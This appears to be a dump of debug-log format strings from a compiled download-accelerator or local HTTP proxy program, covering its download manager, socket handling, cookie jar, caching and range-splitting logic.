[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

